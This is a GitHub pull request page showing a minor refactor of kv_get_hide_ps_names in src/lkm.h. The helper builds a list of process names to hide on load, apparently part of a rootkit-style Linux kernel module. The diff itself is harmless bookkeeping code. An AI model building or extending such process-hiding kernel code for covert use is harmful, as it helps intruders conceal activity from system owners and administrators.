Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Reduce scope of local var #94

Merged
merged 1 commit into from
May 23, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 5 additions & 5 deletions src/lkm.h
Original file line number Diff line number Diff line change
Expand Up @@ -203,12 +203,12 @@ static struct _kv_hide_ps_on_load kv_hide_ps_on_load[] = {
* Helper that returns the list of names to hide on load
*/
static inline const char **kv_get_hide_ps_names(void) {
int i;
// XXX: using fixed maxsize kv_hide_ps_on_load now
static const char *names[256];
// XXX: using fixed maxsize kv_hide_ps_on_load for now
static const char *names[32];
if (!*names) {
size_t maxnames = sizeof(names) / sizeof(names[0]);
for (i = 0; i < maxnames && kv_hide_ps_on_load[i].name != NULL; ++i) {
int i = 0;
size_t maxnames = sizeof(names) / sizeof(*names);
for (; i < maxnames && kv_hide_ps_on_load[i].name != NULL; ++i) {
names[i] = kv_hide_ps_on_load[i].name;
}
}
Expand Down
Loading